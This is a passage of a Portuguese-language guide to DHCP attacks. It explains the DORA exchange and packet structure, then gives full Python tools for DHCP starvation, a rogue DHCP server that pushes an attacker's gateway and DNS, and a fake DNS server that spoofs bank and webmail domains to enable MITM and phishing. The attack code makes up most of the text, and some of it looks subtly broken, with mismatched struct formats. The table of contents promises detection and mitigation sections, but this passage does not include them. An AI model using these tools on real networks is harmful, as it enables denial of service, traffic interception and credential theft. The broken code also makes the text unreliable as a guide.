# DHCP Attacks

## **📋 Índice**

1. [Fundamentos do Protocolo DHCP](#-fundamentos-do-protocolo-dhcp)
2. [Arquitetura e Funcionamento](#-arquitetura-e-funcionamento)
3. [Vetores de Ataque](#-vetores-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Impacto e Consequências](#-impacto-e-consequências)
6. [Detecção e Monitoramento](#-detecção-e-monitoramento)
7. [Mitigações e Controles](#-mitigações-e-controles)
8. [Pentesting com DHCP](#-pentesting-com-dhcp)
9. [Ferramentas e Scripts](#-ferramentas-e-scripts)
10. [Cenários Avançados](#-cenários-avançados)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Protocolo DHCP**

### **O que é DHCP?**

O **Dynamic Host Configuration Protocol (DHCP)** é um protocolo de rede que automatiza a configuração de dispositivos em redes IP. Definido na **RFC 2131**, ele permite que clientes obtenham automaticamente endereços IP, máscaras de sub-rede, gateways padrão, servidores DNS e outros parâmetros de configuração, eliminando a necessidade de configuração manual.

### **Características do DHCP**

| Característica       | Descrição                                          | Implicação de Segurança              |
| -------------------- | -------------------------------------------------- | ------------------------------------ |
| **Sem Autenticação** | Clientes e servidores não se autenticam mutuamente | Qualquer servidor pode responder     |
| **UDP Broadcast**    | Comunicação via broadcasts (ports 67/68)           | Visível para toda a rede local       |
| **Confiabilidade**   | Não há garantia de entrega                         | Suscetível a spoofing e MITM         |
| **Lease Management** | Concessões temporárias de IP                       | Permite renovação e expiração        |
| **Opções Flexíveis** | Suporte a configurações adicionais                 | Vetor para injeção de DNS, NTP, etc. |

### **Contexto Histórico**

```yaml
Evolução do DHCP e Ameaças:
  1984: BOOTP (precursor) - RFC 951
  1993: DHCP definido pela primeira vez (RFC 1531)
  1997: DHCP padrão (RFC 2131)
  1999: DHCP starvation identificado como vetor de ataque
  2001: Rogue DHCP Server se torna ameaça conhecida
  2003: DHCP snooping (Cisco) - primeira mitigação em switches
  2005: DHCPv6 (RFC 3315) para IPv6
  2010: DHCP Snooping amplamente adotado em switches gerenciáveis
  2018: DHCP option 82 (relay agent) para segurança adicional
  2024: DHCP ainda prevalente em redes corporativas e IoT
```

### **Posição no Modelo OSI**

```mermaid
graph TD
    subgraph "Camada 7 - Aplicação"
        DHCP[DHCP Server/Client]
    end
    
    subgraph "Camada 4 - Transporte"
        UDP[UDP - Porta 67/68]
    end
    
    subgraph "Camada 3 - Rede"
        IP[IP]
    end
    
    subgraph "Camada 2 - Enlace"
        BROADCAST[Broadcast/MAC]
    end
    
    DHCP --> UDP
    UDP --> IP
    IP --> BROADCAST
    
    style DHCP fill:#ffcc99,stroke:#333,stroke-width:2px
```

### **Fluxo DORA (Discover, Offer, Request, Acknowledge)**

```mermaid
sequenceDiagram
    participant C as Cliente
    participant S as Servidor DHCP
    participant R as Rogue Server
    
    Note over C: IP 0.0.0.0<br/>MAC: AA:AA
    
    C->>S: DHCPDISCOVER (Broadcast)<br/>"Preciso de IP"
    C->>R: DHCPDISCOVER (Broadcast)
    
    S-->>C: DHCPOFFER (Unicast)<br/>IP: 192.168.1.100
    R-->>C: DHCPOFFER (Unicast)<br/>IP: 192.168.1.100<br/>Gateway: 192.168.1.250 (atacante)
    
    Note over C: Aceita a oferta mais rápida
    
    C->>S: DHCPREQUEST (Broadcast)<br/>"Aceito oferta do servidor X"
    
    S-->>C: DHCPACK (Unicast)<br/>Confirmação final
    R-->>C: DHCPACK (Unicast)<br/>Confirmação alternativa
    
    Note over C: Configuração aplicada
```

***

## 🏗️ **Arquitetura e Funcionamento**

### **Estrutura do Pacote DHCP**

```python
#!/usr/bin/env python3
# dhcp_packet_structure.py - Análise da estrutura DHCP

import struct
import socket
import binascii

class DHCPPacketStructure:
    """Análise detalhada da estrutura do pacote DHCP"""
    
    # DHCP message types
    MESSAGE_TYPES = {
        1: "DHCPDISCOVER",
        2: "DHCPOFFER",
        3: "DHCPREQUEST",
        4: "DHCPDECLINE",
        5: "DHCPACK",
        6: "DHCPNAK",
        7: "DHCPRELEASE",
        8: "DHCPINFORM"
    }
    
    # DHCP options
    OPTIONS = {
        1: "Subnet Mask",
        3: "Router (Gateway)",
        6: "Domain Name Server",
        12: "Host Name",
        15: "Domain Name",
        42: "NTP Servers",
        51: "IP Address Lease Time",
        53: "DHCP Message Type",
        54: "Server Identifier",
        55: "Parameter Request List",
        58: "Renewal Time",
        59: "Rebinding Time",
        61: "Client Identifier",
        66: "TFTP Server Name",
        67: "Bootfile Name",
        119: "Domain Search",
        150: "TFTP Server Address"
    }
    
    @staticmethod
    def parse_dhcp_packet(data):
        """Parsear pacote DHCP"""
        # UDP header (8 bytes)
        if len(data) < 8:
            return None
        
        src_port, dst_port = struct.unpack('!HH', data[:4])
        
        # DHCP packet starts after UDP header
        dhcp_data = data[8:]
        
        if len(dhcp_data) < 240:
            return None
        
        # DHCP header
        op = dhcp_data[0]  # 1=Request, 2=Reply
        htype = dhcp_data[1]  # Hardware type
        hlen = dhcp_data[2]  # Hardware length
        hops = dhcp_data[3]  # Hops
        xid = struct.unpack('!I', dhcp_data[4:8])[0]  # Transaction ID
        secs = struct.unpack('!H', dhcp_data[8:10])[0]  # Seconds
        flags = struct.unpack('!H', dhcp_data[10:12])[0]  # Flags
        ciaddr = socket.inet_ntoa(dhcp_data[12:16])  # Client IP
        yiaddr = socket.inet_ntoa(dhcp_data[16:20])  # Your IP
        siaddr = socket.inet_ntoa(dhcp_data[20:24])  # Server IP
        giaddr = socket.inet_ntoa(dhcp_data[24:28])  # Gateway IP
        chaddr = dhcp_data[28:44]  # Client MAC
        sname = dhcp_data[44:108]  # Server name
        file = dhcp_data[108:236]  # Boot file
        magic = dhcp_data[236:240]  # Magic cookie (0x63825363)
        
        # Parse options
        options = {}
        offset = 240
        
        while offset < len(dhcp_data):
            if dhcp_data[offset] == 0:  # Pad option
                offset += 1
                continue
            elif dhcp_data[offset] == 255:  # End option
                break
            
            opt_code = dhcp_data[offset]
            opt_len = dhcp_data[offset + 1]
            opt_value = dhcp_data[offset + 2:offset + 2 + opt_len]
            
            if opt_code == 53:  # DHCP Message Type
                msg_type = opt_value[0]
                options['message_type'] = DHCPPacketStructure.MESSAGE_TYPES.get(msg_type, f"Unknown({msg_type})")
            elif opt_code == 54:  # Server Identifier
                options['server_id'] = socket.inet_ntoa(opt_value)
            elif opt_code == 51:  # Lease Time
                options['lease_time'] = struct.unpack('!I', opt_value)[0]
            elif opt_code == 1:  # Subnet Mask
                options['subnet_mask'] = socket.inet_ntoa(opt_value)
            elif opt_code == 3:  # Router
                options['router'] = socket.inet_ntoa(opt_value)
            elif opt_code == 6:  # DNS Servers
                dns_servers = []
                for i in range(0, len(opt_value), 4):
                    if i + 4 <= len(opt_value):
                        dns_servers.append(socket.inet_ntoa(opt_value[i:i+4]))
                options['dns_servers'] = dns_servers
            else:
                options[opt_code] = opt_value.hex()
            
            offset += 2 + opt_len
        
        return {
            'op': 'REQUEST' if op == 1 else 'REPLY',
            'client_mac': ':'.join(f'{b:02x}' for b in chaddr[:hlen]),
            'transaction_id': xid,
            'your_ip': yiaddr,
            'options': options
        }

# Exemplo de uso
import binascii

# Exemplo de pacote DHCP (simplificado)
sample = binascii.unhexlify(
    "01010600"  # op, htype, hlen, hops
    "12345678"  # xid
    "0000"      # secs
    "0000"      # flags
    "00000000"  # ciaddr
    "00000000"  # yiaddr
    "00000000"  # siaddr
    "00000000"  # giaddr
    "00112233445500000000000000000000"  # chaddr
    + "00" * 64  # sname
    + "00" * 128  # file
    + "63825363"  # magic cookie
    + "3501" + "01"  # option 53: DHCPDISCOVER
    + "ff"  # end
)

parsed = DHCPPacketStructure.parse_dhcp_packet(sample)
if parsed:
    print(f"📦 DHCP Packet: {parsed}")
```

### **Implementação de Servidor DHCP Legítimo**

```python
#!/usr/bin/env python3
# dhcp_server_legit.py - Servidor DHCP básico

import socket
import struct
import time
import threading
import random

class DHCPServer:
    """Servidor DHCP básico (educacional)"""
    
    def __init__(self, interface='eth0', ip_range_start='192.168.1.100', 
                 ip_range_end='192.168.1.200', subnet_mask='255.255.255.0',
                 gateway='192.168.1.1', dns=['8.8.8.8', '8.8.4.4']):
        self.interface = interface
        self.ip_start = self._ip_to_int(ip_range_start)
        self.ip_end = self._ip_to_int(ip_range_end)
        self.subnet_mask = subnet_mask
        self.gateway = gateway
        self.dns = dns
        self.leases = {}  # {mac: {'ip': ip, 'expires': time}}
        self.available_ips = set(range(self.ip_start, self.ip_end + 1))
        self.sock = None
        self.running = True
    
    def _ip_to_int(self, ip):
        """Converter IP para inteiro"""
        parts = ip.split('.')
        return (int(parts[0]) << 24) + (int(parts[1]) << 16) + \
               (int(parts[2]) << 8) + int(parts[3])
    
    def _int_to_ip(self, ip_int):
        """Converter inteiro para IP"""
        return f"{(ip_int >> 24) & 0xFF}.{(ip_int >> 16) & 0xFF}.{(ip_int >> 8) & 0xFF}.{ip_int & 0xFF}"
    
    def start(self):
        """Iniciar servidor DHCP"""
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
            self.sock.bind(('0.0.0.0', 67))
            
            print(f"🚀 Servidor DHCP iniciado")
            print(f"   Pool: {self._int_to_ip(self.ip_start)} - {self._int_to_ip(self.ip_end)}")
            print(f"   Gateway: {self.gateway}")
            print(f"   DNS: {self.dns}")
            
            while self.running:
                try:
                    data, addr = self.sock.recvfrom(1024)
                    self._process_packet(data, addr)
                except Exception as e:
                    print(f"Erro: {e}")
                    
        except PermissionError:
            print("❌ É necessário privilégios de root para porta 67")
        except Exception as e:
            print(f"❌ Erro: {e}")
    
    def _process_packet(self, data, addr):
        """Processar pacote DHCP"""
        if len(data) < 240:
            return
        
        # Extrair informações básicas
        op = data[0]
        hlen = data[2]
        chaddr = data[28:44]
        mac = ':'.join(f'{b:02x}' for b in chaddr[:hlen])
        
        # Magic cookie
        magic = data[236:240]
        
        if magic != b'\x63\x82\x53\x63':
            return
        
        # Buscar opção de tipo de mensagem
        offset = 240
        msg_type = None
        
        while offset < len(data):
            if data[offset] == 0:
                offset += 1
                continue
            elif data[offset] == 255:
                break
            
            opt_code = data[offset]
            opt_len = data[offset + 1]
            
            if opt_code == 53:  # DHCP Message Type
                msg_type = data[offset + 2]
            
            offset += 2 + opt_len
        
        if msg_type == 1:  # DHCPDISCOVER
            self._handle_discover(mac, addr)
        elif msg_type == 3:  # DHCPREQUEST
            self._handle_request(mac, data)
    
    def _handle_discover(self, mac, addr):
        """Responder a DHCPDISCOVER"""
        print(f"📡 DHCPDISCOVER de {mac}")
        
        # Verificar se já tem lease
        if mac in self.leases:
            offered_ip = self.leases[mac]['ip']
        else:
            # Alocar novo IP
            if self.available_ips:
                offered_ip_int = self.available_ips.pop()
                offered_ip = self._int_to_ip(offered_ip_int)
                self.leases[mac] = {
                    'ip': offered_ip,
                    'expires': time.time() + 3600  # 1 hora
                }
            else:
                print(f"   ❌ Sem IPs disponíveis")
                return
        
        print(f"   Ofertando IP: {offered_ip}")
        
        # Construir DHCPOFFER
        packet = self._build_dhcp_offer(mac, offered_ip)
        
        # Enviar resposta
        self.sock.sendto(packet, ('255.255.255.255', 68))
    
    def _handle_request(self, mac, data):
        """Processar DHCPREQUEST"""
        print(f"📡 DHCPREQUEST de {mac}")
        
        # Verificar se o MAC tem lease
        if mac in self.leases:
            ip = self.leases[mac]['ip']
            print(f"   Confirmando IP: {ip}")
            
            # Construir DHCPACK
            packet = self._build_dhcp_ack(mac, ip)
            self.sock.sendto(packet, ('255.255.255.255', 68))
        else:
            print(f"   ❌ Lease não encontrado")
            # Enviar DHCPNAK
            self._send_nak(mac)
    
    def _build_dhcp_offer(self, mac, offered_ip):
        """Construir pacote DHCPOFFER"""
        # Header DHCP
        op = 2  # Reply
        htype = 1  # Ethernet
        hlen = 6
        hops = 0
        xid = random.randint(1, 0xFFFFFFFF)
        secs = 0
        flags = 0
        ciaddr = 0
        yiaddr = self._ip_to_int(offered_ip)
        siaddr = 0
        giaddr = 0
        chaddr = bytes.fromhex(mac.replace(':', ''))
        chaddr = chaddr.ljust(16, b'\x00')
        sname = b'\x00' * 64
        file = b'\x00' * 128
        magic = b'\x63\x82\x53\x63'
        
        # Construir header
        header = struct.pack('!BBBBIBBHHIIII',
            op, htype, hlen, hops, xid,
            secs, flags, ciaddr, yiaddr,
            siaddr, giaddr
        )
        
        # Opções
        options = []
        
        # DHCP Message Type (53) - DHCPOFFER
        options.append(b'\x35\x01\x02')
        
        # Subnet Mask (1)
        mask = socket.inet_aton(self.subnet_mask)
        options.append(b'\x01\x04' + mask)
        
        # Router (3) - Gateway
        gateway = socket.inet_aton(self.gateway)
        options.append(b'\x03\x04' + gateway)
        
        # DNS Servers (6)
        dns_option = b'\x06'
        dns_count = len(self.dns)
        dns_option += bytes([dns_count * 4])
        for dns in self.dns:
            dns_option += socket.inet_aton(dns)
        options.append(dns_option)
        
        # Lease Time (51) - 3600 segundos
        options.append(b'\x33\x04' + struct.pack('!I', 3600))
        
        # Server Identifier (54)
        server_ip = self._ip_to_int(self._get_local_ip())
        options.append(b'\x36\x04' + struct.pack('!I', server_ip))
        
        # End Option
        options.append(b'\xff')
        
        options_data = b''.join(options)
        
        # Montar pacote
        packet = header + chaddr + sname + file + magic + options_data
        return packet
    
    def _build_dhcp_ack(self, mac, ip):
        """Construir pacote DHCPACK"""
        # Similar ao OFFER, mas com tipo ACK
        # Implementação simplificada
        return self._build_dhcp_offer(mac, ip)  # Substituir opção 53
    
    def _send_nak(self, mac):
        """Enviar DHCPNAK"""
        # Implementação simplificada
        pass
    
    def _get_local_ip(self):
        """Obter IP local"""
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect(('8.8.8.8', 1))
            ip = s.getsockname()[0]
        except:
            ip = '127.0.0.1'
        finally:
            s.close()
        return ip
    
    def stop(self):
        """Parar servidor"""
        self.running = False
        if self.sock:
            self.sock.close()

# Uso (requer root)
# server = DHCPServer()
# server.start()
```

***

## ⚔️ **Vetores de Ataque**

### **Matriz de Ataques DHCP**

```mermaid
graph TD
    A[Ataques DHCP] --> B[DHCP Starvation]
    A --> C[Rogue DHCP Server]
    A --> D[DNS Poisoning via DHCP]
    A --> E[DHCP Spoofing]
    
    B --> B1[Esgotamento de IPs]
    B --> B2[DoS em novos dispositivos]
    
    C --> C1[MITM Persistente]
    C --> C2[Redirecionamento de tráfego]
    
    D --> D1[Cache DNS Poisoning]
    D --> D2[Phishing Direcionado]
    
    E --> E1[Gateway Falso]
    E --> E2[Interceptação de tráfego]
    
    style A fill:#ff9999
```

### **Ataque 1: DHCP Starvation**

```python
#!/usr/bin/env python3
# dhcp_starvation.py - DHCP Starvation Attack (educacional)

import socket
import struct
import random
import time
import sys

class DHCPStarvation:
    """Ataque de esgotamento de pool DHCP"""
    
    def __init__(self, interface='eth0', count=1000):
        self.interface = interface
        self.count = count
        self.mac_addresses = []
        self.sock = None
    
    def _generate_random_mac(self):
        """Gerar MAC address aleatório"""
        return ':'.join(f'{random.randint(0, 255):02x}' for _ in range(6))
    
    def _create_dhcp_discover(self, mac):
        """Criar pacote DHCPDISCOVER com MAC forjado"""
        # Ethernet header
        eth_dst = b'\xff\xff\xff\xff\xff\xff'  # Broadcast
        eth_src = bytes.fromhex(mac.replace(':', ''))
        eth_type = b'\x08\x00'  # IPv4
        
        # IP header (simplificado)
        ip_header = self._create_ip_header('0.0.0.0', '255.255.255.255')
        
        # UDP header
        udp_header = struct.pack('!HHHH', 68, 67, 1000, 0)  # src=68, dst=67
        
        # DHCP header
        dhcp_header = self._create_dhcp_header(mac)
        
        # Options
        options = self._create_dhcp_options(1)  # Type 1 = DHCPDISCOVER
        
        # Montar pacote
        packet = eth_dst + eth_src + eth_type + ip_header + udp_header + dhcp_header + options
        
        return packet
    
    def _create_ip_header(self, src_ip, dst_ip):
        """Criar cabeçalho IP simplificado"""
        version_ihl = 0x45
        tos = 0
        total_length = 20  # Será atualizado
        identification = random.randint(0, 65535)
        flags_fragment = 0
        ttl = 64
        protocol = 17  # UDP
        checksum = 0
        
        header = struct.pack('!BBHHHBBH',
            version_ihl, tos, total_length,
            identification, flags_fragment,
            ttl, protocol, checksum
        )
        
        header += socket.inet_aton(src_ip)
        header += socket.inet_aton(dst_ip)
        
        return header
    
    def _create_dhcp_header(self, mac):
        """Criar cabeçalho DHCP"""
        op = 1  # Request
        htype = 1  # Ethernet
        hlen = 6
        hops = 0
        xid = random.randint(1, 0xFFFFFFFF)
        secs = 0
        flags = 0
        ciaddr = 0
        yiaddr = 0
        siaddr = 0
        giaddr = 0
        chaddr = bytes.fromhex(mac.replace(':', ''))
        chaddr = chaddr.ljust(16, b'\x00')
        sname = b'\x00' * 64
        file = b'\x00' * 128
        magic = b'\x63\x82\x53\x63'
        
        header = struct.pack('!BBBBIBBHHIIII',
            op, htype, hlen, hops, xid,
            secs, flags, ciaddr, yiaddr,
            siaddr, giaddr
        )
        
        return header + chaddr + sname + file + magic
    
    def _create_dhcp_options(self, msg_type):
        """Criar opções DHCP"""
        # DHCP Message Type
        options = b'\x35\x01' + bytes([msg_type])
        
        # Client Identifier (61) - MAC address
        options += b'\x3d\x06' + bytes.fromhex(self.mac_addresses[-1].replace(':', ''))
        
        # Parameter Request List (55)
        options += b'\x37\x04\x01\x03\x06\x0f'
        
        # End Option
        options += b'\xff'
        
        return options
    
    def attack(self):
        """Executar ataque de starvation"""
        print(f"🚨 Iniciando DHCP Starvation Attack")
        print(f"   Interface: {self.interface}")
        print(f"   Tentativas: {self.count}")
        print(f"   MACs forjados: {self.count}")
        
        try:
            # Criar socket raw
            self.sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
            self.sock.bind((self.interface, 0))
            
            successful = 0
            
            for i in range(self.count):
                # Gerar MAC aleatório
                mac = self._generate_random_mac()
                self.mac_addresses.append(mac)
                
                # Criar e enviar DHCPDISCOVER
                packet = self._create_dhcp_discover(mac)
                self.sock.send(packet)
                
                successful += 1
                
                if (i + 1) % 100 == 0:
                    print(f"   {i + 1} pacotes enviados")
                
                # Pequeno delay para não sobrecarregar
                time.sleep(0.001)
            
            print(f"✅ {successful} pacotes DHCPDISCOVER enviados")
            print(f"⚠️  Pool DHCP possivelmente esgotado")
            
        except PermissionError:
            print("❌ É necessário privilégios de root")
        except Exception as e:
            print(f"❌ Erro: {e}")
        finally:
            if self.sock:
                self.sock.close()

# Uso (APENAS EM LABORATÓRIO)
# attack = DHCPStarvation('eth0', count=500)
# attack.attack()
```

### **Ataque 2: Rogue DHCP Server**

```python
#!/usr/bin/env python3
# rogue_dhcp_server.py - Servidor DHCP Rogue

import socket
import struct
import threading
import time

class RogueDHCPServer:
    """Servidor DHCP Rogue para MITM"""
    
    def __init__(self, interface='eth0', rogue_gateway='192.168.1.250',
                 rogue_dns='192.168.1.250', ip_range='192.168.1.200-250',
                 subnet_mask='255.255.255.0'):
        self.interface = interface
        self.rogue_gateway = rogue_gateway
        self.rogue_dns = rogue_dns
        self.subnet_mask = subnet_mask
        self.leases = {}
        self.sock = None
        self.running = True
        
        # Parse IP range
        start, end = ip_range.split('-')
        self.ip_start = self._ip_to_int(start)
        self.ip_end = self._ip_to_int(end)
        self.available_ips = set(range(self.ip_start, self.ip_end + 1))
    
    def _ip_to_int(self, ip):
        """Converter IP para inteiro"""
        parts = ip.split('.')
        return (int(parts[0]) << 24) + (int(parts[1]) << 16) + \
               (int(parts[2]) << 8) + int(parts[3])
    
    def _int_to_ip(self, ip_int):
        """Converter inteiro para IP"""
        return f"{(ip_int >> 24) & 0xFF}.{(ip_int >> 16) & 0xFF}.{(ip_int >> 8) & 0xFF}.{ip_int & 0xFF}"
    
    def start(self):
        """Iniciar servidor rogue"""
        print(f"🚨 Iniciando Rogue DHCP Server")
        print(f"   Gateway falso: {self.rogue_gateway}")
        print(f"   DNS falso: {self.rogue_dns}")
        print(f"   Pool: {self._int_to_ip(self.ip_start)} - {self._int_to_ip(self.ip_end)}")
        
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
            self.sock.bind(('0.0.0.0', 67))
            
            while self.running:
                try:
                    data, addr = self.sock.recvfrom(1024)
                    self._process_packet(data)
                except:
                    pass
                    
        except PermissionError:
            print("❌ É necessário privilégios de root")
        except Exception as e:
            print(f"❌ Erro: {e}")
    
    def _process_packet(self, data):
        """Processar pacote DHCP e responder mais rápido que servidor legítimo"""
        if len(data) < 240:
            return
        
        # Extrair MAC
        chaddr = data[28:44]
        hlen = data[2]
        mac = ':'.join(f'{b:02x}' for b in chaddr[:hlen])
        
        # Buscar opção de tipo
        offset = 240
        msg_type = None
        
        while offset < len(data):
            if data[offset] == 0:
                offset += 1
                continue
            elif data[offset] == 255:
                break
            
            opt_code = data[offset]
            opt_len = data[offset + 1]
            
            if opt_code == 53:  # DHCP Message Type
                msg_type = data[offset + 2]
                break
            
            offset += 2 + opt_len
        
        if msg_type == 1:  # DHCPDISCOVER
            print(f"📡 Respondendo a DHCPDISCOVER de {mac}")
            self._send_rogue_offer(mac)
        elif msg_type == 3:  # DHCPREQUEST
            print(f"📡 Respondendo a DHCPREQUEST de {mac}")
            self._send_rogue_ack(mac)
    
    def _send_rogue_offer(self, mac):
        """Enviar DHCPOFFER malicioso"""
        # Alocar IP
        if mac in self.leases:
            offered_ip = self.leases[mac]['ip']
        else:
            if self.available_ips:
                offered_ip_int = self.available_ips.pop()
                offered_ip = self._int_to_ip(offered_ip_int)
                self.leases[mac] = {
                    'ip': offered_ip,
                    'expires': time.time() + 3600
                }
            else:
                return
        
        print(f"   Ofertando IP: {offered_ip}")
        print(f"   Gateway: {self.rogue_gateway}")
        print(f"   DNS: {self.rogue_dns}")
        
        # Construir pacote DHCPOFFER
        packet = self._build_dhcp_offer(mac, offered_ip)
        self.sock.sendto(packet, ('255.255.255.255', 68))
    
    def _send_rogue_ack(self, mac):
        """Enviar DHCPACK malicioso"""
        if mac in self.leases:
            ip = self.leases[mac]['ip']
            print(f"   Confirmando IP: {ip}")
            
            packet = self._build_dhcp_ack(mac, ip)
            self.sock.sendto(packet, ('255.255.255.255', 68))
    
    def _build_dhcp_offer(self, mac, offered_ip):
        """Construir pacote DHCP com configuração maliciosa"""
        # Header DHCP
        op = 2  # Reply
        htype = 1
        hlen = 6
        hops = 0
        xid = int(time.time()) % 0xFFFFFFFF
        secs = 0
        flags = 0
        ciaddr = 0
        yiaddr = self._ip_to_int(offered_ip)
        siaddr = 0
        giaddr = 0
        chaddr = bytes.fromhex(mac.replace(':', ''))
        chaddr = chaddr.ljust(16, b'\x00')
        sname = b'\x00' * 64
        file = b'\x00' * 128
        magic = b'\x63\x82\x53\x63'
        
        header = struct.pack('!BBBBIBBHHIIII',
            op, htype, hlen, hops, xid,
            secs, flags, ciaddr, yiaddr,
            siaddr, giaddr
        )
        
        # Opções maliciosas
        options = []
        
        # DHCP Message Type (53) - DHCPOFFER
        options.append(b'\x35\x01\x02')
        
        # Subnet Mask (1)
        mask = socket.inet_aton(self.subnet_mask)
        options.append(b'\x01\x04' + mask)
        
        # Router (3) - Gateway malicioso
        gateway = socket.inet_aton(self.rogue_gateway)
        options.append(b'\x03\x04' + gateway)
        
        # DNS Servers (6) - DNS malicioso
        dns = socket.inet_aton(self.rogue_dns)
        options.append(b'\x06\x04' + dns)
        
        # Lease Time (51)
        options.append(b'\x33\x04' + struct.pack('!I', 3600))
        
        # Server Identifier (54)
        server_ip = self._ip_to_int(self._get_local_ip())
        options.append(b'\x36\x04' + struct.pack('!I', server_ip))
        
        # End Option
        options.append(b'\xff')
        
        options_data = b''.join(options)
        
        return header + chaddr + sname + file + magic + options_data
    
    def _build_dhcp_ack(self, mac, ip):
        """Construir DHCPACK malicioso"""
        # Similar ao OFFER, mas com tipo ACK
        return self._build_dhcp_offer(mac, ip)  # Substituir opção 53
    
    def _get_local_ip(self):
        """Obter IP local"""
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect(('8.8.8.8', 1))
            ip = s.getsockname()[0]
        except:
            ip = '127.0.0.1'
        finally:
            s.close()
        return ip
    
    def stop(self):
        """Parar servidor rogue"""
        self.running = False
        if self.sock:
            self.sock.close()

# Uso (APENAS EM LABORATÓRIO)
# rogue = RogueDHCPServer()
# rogue.start()
```

### **Ataque 3: DHCP DNS Poisoning**

```python
#!/usr/bin/env python3
# dhcp_dns_poison.py - DNS Poisoning via DHCP

import socket
import struct
import threading
import time

class DHCPDNSPoison:
    """DNS Poisoning via Rogue DHCP Server"""
    
    def __init__(self, interface='eth0', rogue_dns='192.168.1.250', 
                 spoofed_domains=None):
        self.interface = interface
        self.rogue_dns = rogue_dns
        self.spoofed_domains = spoofed_domains or {
            'bank.com': '192.168.1.100',
            'corporate.com': '192.168.1.100',
            'webmail.com': '192.168.1.100'
        }
        self.dns_sock = None
        self.dhcp_rogue = None
    
    def start_dns_server(self):
        """Iniciar servidor DNS falso"""
        try:
            self.dns_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.dns_sock.bind(('0.0.0.0', 53))
            print("🌐 Servidor DNS falso iniciado na porta 53")
            
            while True:
                try:
                    data, addr = self.dns_sock.recvfrom(512)
                    self._handle_dns_request(data, addr)
                except:
                    pass
                    
        except PermissionError:
            print("❌ É necessário privilégios de root para porta 53")
        except Exception as e:
            print(f"❌ Erro DNS: {e}")
    
    def _handle_dns_request(self, data, addr):
        """Processar requisição DNS e responder com IP falso"""
        try:
            # Extrair domínio consultado
            transaction_id = data[0:2]
            offset = 12
            domain = []
            
            while offset < len(data):
                length = data[offset]
                if length == 0:
                    break
                offset += 1
                domain.append(data[offset:offset+length].decode('utf-8', errors='ignore'))
                offset += length
            
            if domain:
                query_domain = '.'.join(domain)
                print(f"🔍 DNS Query: {addr[0]} → {query_domain}")
                
                # Verificar se domínio deve ser spoofado
                for spoof_domain, spoof_ip in self.spoofed_domains.items():
                    if spoof_domain in query_domain:
                        print(f"🎯 Spoofing DNS: {query_domain} → {spoof_ip}")
                        self._send_dns_response(data, addr, spoof_ip)
                        return
            
            # Encaminhar para DNS real
            self._forward_dns_request(data, addr)
            
        except Exception as e:
            print(f"❌ Erro processando DNS: {e}")
    
    def _send_dns_response(self, request, addr, fake_ip):
        """Enviar resposta DNS com IP falso"""
        transaction_id = request[0:2]
        flags = b'\x81\x80'  # Standard response, no error
        qdcount = request[4:6]
        ancount = b'\x00\x01'  # 1 answer
        
        # Question section
        question = request[12:]
        
        # Answer section
        name = b'\xc0\x0c'  # Pointer
        qtype = b'\x00\x01'  # A record
        qclass = b'\x00\x01'  # IN
        ttl = b'\x00\x00\x00\x3c'  # 60 seconds
        rdlength = b'\x00\x04'  # IPv4 length
        rdata = socket.inet_aton(fake_ip)
        
        answer = name + qtype + qclass + ttl + rdlength + rdata
        
        response = transaction_id + flags + qdcount + ancount + b'\x00\x00\x00\x00' + question + answer
        
        self.dns_sock.sendto(response, addr)
        print(f"   Resposta enviada: {fake_ip}")
    
    def _forward_dns_request(self, data, addr):
        """Encaminhar requisição para DNS real"""
        try:
            real_dns = ('8.8.8.8', 53)
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.sendto(data, real_dns)
            
            response, _ = sock.recvfrom(512)
            self.dns_sock.sendto(response, addr)
            sock.close()
        except:
            pass
    
    def start(self):
        """Iniciar ataque combinado"""
        print(f"🚨 Iniciando DHCP + DNS Poisoning Attack")
        print(f"   DNS Rogue: {self.rogue_dns}")
        print(f"   Domínios spoofados: {', '.join(self.spoofed_domains.keys())}")
        
        # Iniciar DNS falso em thread
        dns_thread = threading.Thread(target=self.start_dns_server)
        dns_thread.daemon = True
        dns_thread.start()
        
        # Iniciar rogue DHCP server
        self.dhcp_rogue = RogueDHCPServer(
            interface=self.interface,
            rogue_gateway=self.rogue_dns,
            rogue_dns=self.rogue_dns
        )
        
        try:
            self.dhcp_rogue.start()
        except KeyboardInterrupt:
            self.dhcp_rogue.stop()

# Uso (APENAS EM LABORATÓRIO)
# attack = DHCPDNSPoison()
# attack.start()
```

***

## 💥 **Impacto e Consequências**

### **Matriz de Impacto**

```yaml
Impacto de Ataques DHCP:

  🔴 CRÍTICO:
    - Interrupção total da conectividade de rede
    - Sequestro de tráfego de todos os dispositivos
    - Roubo de credenciais em larga escala
    - Comprometimento de infraestrutura crítica
    - Exfiltração de dados corporativos

  🟠 ALTO:
    - MITM persistente em toda a rede
    - Redirecionamento para sites maliciosos
    - Captura de tráfego não criptografado
    - Interceptação de atualizações de sistema

  🟡 MÉDIO:
    - Degradação de desempenho da rede
    - Interrupção de serviços específicos
    - Alerta de segurança falso-positivo

  🔵 BAIXO:
    - Dispositivos temporariamente sem IP
    - Necessidade de renovação manual de lease
```

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Rogue DHCP Server] --> B[Clientes recebem configuração maliciosa]
    
    B --> C[Gateway malicioso]
    B --> D[DNS malicioso]
    B --> E[WINS malicioso]
    B --> F[NTP malicioso]
    
    C --> G[MITM em todo tráfego]
    D --> H[Redirecionamento DNS]
    E --> I[NetBIOS poisoning]
    F --> J[Time manipulation]
    
    G --> K[Roubo de credenciais]
    H --> K
    I --> K
    
    K --> L[Comprometimento de contas]
    L --> M[Escalação de privilégios]
    M --> N[Controle total da rede]
    
    style A fill:#ff9999
    style N fill:#ff6666
```

***

